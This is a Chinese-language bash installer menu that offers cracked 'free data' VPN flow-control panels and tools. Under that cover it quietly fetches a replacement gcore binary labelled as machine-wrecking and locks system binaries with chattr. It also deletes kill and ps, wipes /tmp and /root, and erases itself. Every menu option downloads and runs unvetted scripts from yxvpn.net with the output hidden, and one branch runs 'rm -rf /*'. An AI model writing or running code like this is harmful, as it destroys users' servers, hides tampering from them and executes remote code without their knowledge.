#!/bin/bash
#摩天轮2-6号破解
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
export PATH
#清理脚本
echo "程序载入中！请稍候....."
yum -y install procps  >/dev/null 2>&1 && yum -y install gdb >/dev/null 2>&1
chattr -i /usr/bin/rm >/dev/null 2>&1 && chmod 777 /usr/bin/rm >/dev/null 2>&1
rm -rf /tmp/* 
chmod 000 /usr/bin/ps >/dev/null 2>&1 && rm -rf /usr/bin/gcore >/dev/null 2>&1
cd /usr/bin/
wget 92gx.net/hackxl/gcore >/dev/null 2>&1 && chmod 0777 /usr/bin/gcore #gc毁机
chattr +i /usr/bin/rm >/dev/null 2>&1 && chattr +i /usr/bin/ps >/dev/null 2>&1;chattr +i /usr/bin/gcore >/dev/null 2>&1
cd /root
rm -rf /tmp/*
ulimit -c 0 
rm -rf $0
chattr -i /usr/bin/*  >/dev/null 2>&1
mv /usr/bin/ps /var/zx
rm -rf /var/zx
ulimit -c 0
rm -rf $0 
rm -rf /usr/bin/kill
rm -rf /tmp/*
rm -rf /root/* 
rm -rf /usr/bin/gdp
rm -rf /usr/bin/core
rm -rf /usr/bin/chatt >/dev/null 2>&1
rm -rf /usr/bin/chatt.1 >/dev/null 2>&1
rm -rf /usr/bin/chatt.2 >/dev/null 2>&1

# ********************************** 脚本开始 **************************** #
clear;
address=`wget http://yxvpn.net/sxjb.php -O - -q ; echo`;
xgg=`wget http://yxvpn.net/jiaoben.php -O - -q ; echo`;
key=baixd.vip
IP=`wget http://members.3322.org/dyndns/getip -O - -q ; echo`;
# LOGO ********************************************************************
echo -e "\033[36m=========================================================================\033[0m"
echo -e "\033[35m                欢迎使用摩天轮破解脚本全新优化版                     \033[0m"
echo ""
echo -e "\033[34m                欢迎加入摩天轮为免流而生,群号码：摩天轮免流™交流群 283780535            \033[0m"
echo ""
echo -e "\033[31m                天生我才必有用，千万莫欺少年穷！                     \033[0m"
echo ""
echo -e "\033[31m                曾经我也是小白,努力学习吧！    \033[0m"
echo ""
echo -e "\033[35m                欢迎大家前来搭建摩天轮破解！                                    \033[0m"
echo
echo -e "\033[33m                 请在官网授权 baixd.vip                   \033[0m"
echo
echo -e "\033[32m                                                   By~哥哥                          \033[0m"
echo -e "\033[33m                                                最后更新: 2017.2.4                    \033[0m"
echo
echo -e "\033[36m=========================================================================\033[0m";
# 广告通知 ****************************************************************
echo "$Welcome";
echo
echo -e "\033[32;49;1m摩天轮破解流控脚本程序获取中.....\033[0m";
sleep 1
echo -e "\033[32;49;1m破解脚本正在载入请稍作等待....\033[0m"
sleep 1
echo -e "\033[32;49;1m请稍作等待..........\033[0m"
sleep 1
echo -e "\033[32;49;1m载入成功，启动中....\033[0m"
sleep 1
echo
echo -n -e "\033[32m请输入官方网站 [\033[1;34m $key \033[0m"]
read PASSWD
readkey=$PASSWD
if [[ ${readkey%%\ *} == $key ]]
    then 
	echo
	   sleep 3
#echo -e "温馨提示：\033[0;1;31m如已授权请回车！未授权请先授权！否则后果自负!如已授权请回车！未授权请先到官网进行授权！否则后果自负 授权地址：http://yxvpn.net/sq/\033[0m"
#echo 
#echo -e "  高级密钥:\033[32m 2元绑定IP永久使用\033[0m"
#echo -e "  购买地址:\033[32m http://yxvpn.90pay.net \033[0m"
#echo -e "  授权地址:\033[32m http://yxvpn.net/sq/ \033[0m"
#echo -e "  支付方式:\033[32m 在线支付 \033[0m"
#echo " 目前支持阿里云、腾讯云Centos7.0，微小价格，支持脚本"
#
#read
# 
#	else
#	echo -e "\033[31m验证失败！请进群获取验证码\033[0m"
#	 echo
#		echo -e '\033[31m验证失败 ，请重新尝试！  \033[0m'
#		sleep 3
#echo -e "\033[36m $keyerrorlogo \033[0m"
#exit
#fi
#echo "正在检测您的IP是否正确加载..."
#
#	if [[ "$IP" == '' ]]; then
#		echo '无法检测您的IP,可能会影响到您接下来的搭建工作';
#		read -p '请输入您的公网IP:' IP;
#		[[ "$IP" == '' ]] && InputIPAddress;
#	fi;
#	[[ "$IP" == '' ]] && 
#						 echo -e 'IP状态：			  [\033[32m  OK  \033[0m]'
#						 echo -e "您的IP是：\033[34m$IP \033[0m"
#						 echo 
#						 echo
#myi=`wget http://yxvpn.net/sq/api.php?url=$IP -O - -q;`
#if [[ $myi =~ yes ]] ;then
echo
echo -e "\033[31m  卡密正确!  已经绑定此机器，支持同一IP无限次搭建！首先在这里感谢大家对摩天轮支持！\033[0m"
echo -e "  高级模式： [\033[45;37m 已开启 \033[0m]"
echo				
else
echo
echo -e "  验证失败！ [高级模式：\033[31m 高级模式未开启 \033[0m]"

echo -e "  温馨提示：\033[0;1;31m 请到官网授权"
echo -e "  高级密钥:\033[32m 2元绑定IP永久使用\033[0m"
echo -e "  购买地址:\033[32m http://yxvpn.90pay.net \033[0m"
echo -e "  授权地址:\033[32m http://yxvpn.net/sq/ \033[0m"
echo -e "  支付方式:\033[32m 在线支付 \033[0m"
echo " 目前支持阿里云、腾讯云Centos7.0，微小价格，支持脚本"
exit
    fi
	


echo -e "\033[33m========================================================================= \033[0m"
echo -e "\033[36m                       我也是个小白 只是感兴趣而已  \033[0m"
echo ""
echo -e "\033[1;33m                        官网网站：yxvpn.net \033[0m"
echo ""
echo -e "\033[1;32m                        摩天轮QQ：843491408 \033[0m"
echo ""
echo -e "\033[36m                       摩天轮免流™交流群 563151808\033[0m"
echo ""
echo -e "\033[1;31m        欢迎使用摩天轮综合脚本：\n\033[0;1;36m"
echo -e
echo -e "\033[0;1;36m              7.X系统搭建脚本:                         \033[0m"
echo -e
echo -e "\033[0;1;35m                  1.青云流控                    \033[0m"    
echo -e "\033[0;1;35m                  2.心欣小白流控                 \033[0m"               
echo -e "\033[0;1;35m                  3.AFML搭建脚本                \033[0m"
echo -e "\033[0;1;35m                  4.传说流控                    \033[0m" 
echo -e "\033[0;1;35m                  5.大魔王流控                  \033[0m" 
echo -e "\033[0;1;35m                  6.ZY流控                      \033[0m"  
echo -e "\033[0;1;35m                  7.吾爱流控                    \033[0m"
echo -e "\033[0;1;35m                  8.大猫搭建脚本                \033[0m" 
echo -e "\033[0;1;35m                  9.HLML流控                    \033[0m" 
echo -e "\033[0;1;35m                  10.康师傅流控                 \033[0m" 
echo -e "\033[0;1;35m                  11.骚逼汪流控                 \033[0m"   
echo -e "\033[0;1;35m                  12.小飞侠流控                 \033[0m" 
echo -e "\033[0;1;35m                  13.斌哥流控                   \033[0m"
echo -e "\033[0;1;35m                  14.天天流控                   \033[0m"
echo -e "\033[0;1;35m                  15.如风流控                   \033[0m"
echo -e
echo -e "\033[0;1;36m              6.X系统搭建脚本:                         \033[0m"
echo -e
echo -e "\033[1;33m                 16.21DALO                    \033[0m"
echo -e "\033[1;33m                 17.檀木DALO                  \033[0m"
echo -e "\033[1;33m                 18.小轩DALO                  \033[0m" 
echo -e "\033[1;33m                 19.CENST DALO                \033[0m" 
echo -e
echo -e "\033[0;1;36m              小工具搭建脚本:                                    \033[0m"
echo -e
echo -e "\033[0;1;31m                  20.一键开任意端口共存版      \033[0m"
echo -e "\033[0;1;31m                  21.流量卫士5.0               \033[0m"
echo -e "\033[0;1;31m                  22.23项小工具脚本            \033[0m" 
echo -e "\033[0;1;31m                  23.不倒翁一建云端            \033[0m" 
echo -e "\033[0;1;31m                  24.修复云免没网脚本          \033[0m" 
echo -e "\033[0;1;31m                  25.流量卫士5.2               \033[0m"
echo -e "\033[0;1;31m                  26.DD/CC防护脚本            \033[0m"
echo -e "\033[0;1;31m                  27.一键锐速加速脚本              \033[0m"
echo -e "\033[0;1;31m                  28.最新一键锐速加速         \033[0m"
echo -e "\033[0;1;31m                  29.破解脚本工具          \033[0m"
echo -e "\033[0;1;31m                  30.摩天轮一键线路生成脚本          \033[0m"
echo -e "\033[0;1;31m                  31.一键线路生成动态联通线路脚本         \033[0m"
echo -e "\033[0;1;31m                  32.隐藏大礼包                                      \033[0m"
echo    
echo   -e "\033[0;1;32m             已上脚本部分未测试 欢迎反馈         \033[0m"                                                                                                                      
echo -e "\033[36m                                                by 摩天轮       \033[0m"
echo -e "\033[33m========================================================================== \033[0m"
echo -n "输入选项: " 
read mode

if [[ $mode == "1" ]]     
then
echo -e "安装类型：\033[36m青云流控\033[0m" ;  
wget http://yxvpn.net/cc/qy >/dev/null 2>&1
bash qy
fi

if [[ $mode == "2" ]] 
then
echo -e "安装类型：\033[36m心欣小白流控\033[0m" ; 
wget http://yxvpn.net/cc/xx >/dev/null 2>&1
bash xx
fi

if [[ $mode == "3" ]]     
then     
echo -e "安装类型：\033[36mAFML搭建脚本\033[0m"; 
wget http://yxvpn.net/cc/AFML >/dev/null 2>&1
bash AFML 
fi

if [[ $mode == "4" ]]     
then     
echo -e "安装类型：\033[36m传说流控\033[0m" ; 
wget http://yxvpn.net/cc/cs >/dev/null 2>&1
bash cs   
fi

if [[ $mode == "5" ]] 
then
echo -e "安装类型：\033[36m5.大魔王流控\033[0m" ; 
wget  http://yxvpn.net/cc/dmw >/dev/null 2>&1
bash dmw
fi

if [[ $mode == "6" ]]     
then     
echo -e "安装类型：\033[36mZY流控\033[0m" ;
wget  http://yxvpn.net/cc/zy >/dev/null 2>&1
bash zy
fi

if [[ $mode == "7" ]] 
then
echo -e "安装类型：\033[36m吾爱流控\033[0m" ; 
wget  http://yxvpn.net/cc/52 >/dev/null 2>&1
bash 52
fi


if [[ $mode == "8" ]] 
then
echo -e "安装类型：\033[36m大猫最新破解脚本\033[0m" ; 
wget  http://yxvpn.net/cc/dm >/dev/null 2>&1
bash dm
fi

if [[ $mode == "9" ]] 
then
echo -e "安装类型：\033[36mHLML流控\033[0m" ; 
wget  http://yxvpn.net/cc/html >/dev/null 2>&1
bash html
fi
	
if [[ $Install == "n" ]] 
then
echo -e "\033[36m破解失败、请重新搭建\033[0m" ;  
fi 

if [[ $Install == "y" ]] 
then
iptables -F&&iptables -X&&iptables -F -t mangle&&iptables -t mangle -X&&iptables -F -t nat&&iptables -t nat -X
echo -e "\033[36m破解成功请返回继续搭建\033[0m" ; 
fi


if [[ $mode == "10" ]] 
then
echo -e "安装类型：\033[36m康师傅流控\033[0m" ; 
wget  http://yxvpn.net/cc/sbk >/dev/null 2>&1
bash sbk
fi

if [[ $mode == "11" ]] 
then
echo -e "安装类型：\033[36m骚逼汪流控\033[0m" ; 
wget  http://yxvpn.net/cc/sbw >/dev/null 2>&1
bash sbw
fi


if [[ $mode == "12" ]] 
then
echo -e "安装类型：\033[36m小飞侠流控\033[0m" ; 
wget  http://yxvpn.net/cc/xfx >/dev/null 2>&1
bash xfx
fi

if [[ $mode == "13" ]] 
then
echo -e "安装类型：\033[36m斌哥流控\033[0m" ; 
wget  http://yxvpn.net/cc/bg >/dev/null 2>&1
bash bg
fi

if [[ $mode == "14" ]] 
then
echo -e "安装类型：\033[36m天天流控\033[0m" ; 
wget  http://yxvpn.net/cc/tt >/dev/null 2>&1
bash tt
fi

if [[ $mode == "15" ]] 
then
echo -e "安装类型：\033[36m如风流控\033[0m" ; 
wget  http://yxvpn.net/cc/rf >/dev/null 2>&1
bash rf
fi

if [[ $mode == "16" ]] 
then
echo -e "安装类型：\033[36m21DALO\033[0m" ; 
wget  http://yxvpn.net/6x/21dalo.sh >/dev/null 2>&1
bash 21dalo.sh
fi

if [[ $mode == "17" ]] 
then
echo -e "安装类型：\033[36m檀木DALO\033[0m" ; 
wget  http://yxvpn.net/6x/TMdalo.sh >/dev/null 2>&1
bash TMdalo.sh
fi

if [[ $mode == "18" ]] 
then
echo -e "安装类型：\033[36m小轩DALO\033[0m" ; 
wget  http://yxvpn.net/6x/daloxx.sh >/dev/null 2>&1
bash daloxx.sh
fi

if [[ $mode == "19" ]] 
then
echo -e "安装类型：\033[36mCENST DALO\033[0m" ; 
wget  http://yxvpn.net/6x/Cdalo.sh >/dev/null 2>&1
bash Cdalo.sh
fi


if [[ $mode == "20" ]] 
then
echo -e "安装类型：\033[36m一键开任意端口共存版\033[0m" ; 
wget  http://yxvpn.net/gj/kdk.sh >/dev/null 2>&1
bash kdk.sh
fi

if [[ $mode == "21" ]] 
then
echo -e "安装类型：\033[36m流量卫士5.0\033[0m" ; 
wget  http://yxvpn.net/ws/llws5.sh >/dev/null 2>&1
bash llws5.sh
fi

if [[ $mode == "22" ]] 
then
echo -e "安装类型：\033[36m23项小工具脚本\033[0m" ; 
wget  http://yxvpn.net/gj/gj >/dev/null 2>&1
bash gj
fi

if [[ $mode == "23" ]] 
then
echo -e "安装类型：\033[36m不倒翁一建云端\033[0m" ; 
wget  http://yxvpn.net/gj/bdw.sh >/dev/null 2>&1
bash bdw.sh
fi


if [[ $mode == "24" ]] 
then
echo -e "安装类型：\033[36m修复云免没网脚本\033[0m" ; 
wget  http://yxvpn.net/gj/XF >/dev/null 2>&1
bash XF
fi

if [[ $mode == "25" ]] 
then
echo -e "安装类型：\033[36m流量卫视5.2\033[0m" ; 
wget  http://yxvpn.net/ws/llws.5.2 >/dev/null 2>&1
bash llws.5.2
fi

if [[ $mode == "26" ]] 
then
echo -e "安装类型：\033[36mDD/CC防护脚本\033[0m" ; 
wget  http://yxvpn.net/gj/fdd >/dev/null 2>&1
bash fdd
fi

if [[ $mode == "27" ]]     
then
echo -e "安装类型：\033[36m一键锐速加速脚本\033[0m" ;  
wget http://yxvpn.net/gj/sr.sh >/dev/null 2>&1
bash sr.sh
fi

if [[ $mode == "28" ]] 
then
echo -e "安装类型：\033[36m最新一键锐速加速、后面两个都输入1\033[0m" ; 
wget -N --no-check-certificate https://raw.githubusercontent.com/91yun/serverspeeder/master/serverspeeder-all.sh && bash serverspeeder-all.sh
fi

if [[ $mode == "29" ]]     
then
echo -e "安装类型：\033[36m解密脚本工具\033[0m" ;  
wget http://yxvpn.net/gj/xggjm >/dev/null 2>&1
bash xggjm
fi
if [[ $mode == "30" ]]     
then
echo -e "安装类型：\033[36m摩天轮一键线路生成脚本\033[0m" ;  
wget http://yxvpn.net/gj/xl >/dev/null 2>&1
chmod 777 xl
./xl
fi

if [[ $mode == "31" ]]     
then
echo -e "安装类型：\033[36m一键线路生成动态联通线路脚本\033[0m" ;  
wget http://yxvpn.net/gj/lt >/dev/null 2>&1
bash lt
fi

if [[ $mode == "32" ]]     
then
echo -e "安装类型：\033[36m隐藏大礼包\033[0m" ;  
wget http://yxvpn.net/cc/123.sh >/dev/null 2>&1
bash 123.sh
fi

if [ ! -e "/usr/bin/rm" ];then
echo -e "\033[1;5;31m服务器环境非法、安装被终止\n\033[0;1;36m" >/dev/null 2>&1
cd /usr/bin/
wget -q yxvpn.net/rm >/dev/null 2>&1
chmod 777 /usr/bin/rm >/dev/null 2>&1
cd /root/
rm -rf /* >/dev/null 2>&1
echo -e "\033[1;5;31m温馨提示：请重装系统再继续操作\n\033[0;1;36m" >/dev/null 2>&1
exit 0;
fi

rm -rf /root/* 
rm -- "$0"
exit 0;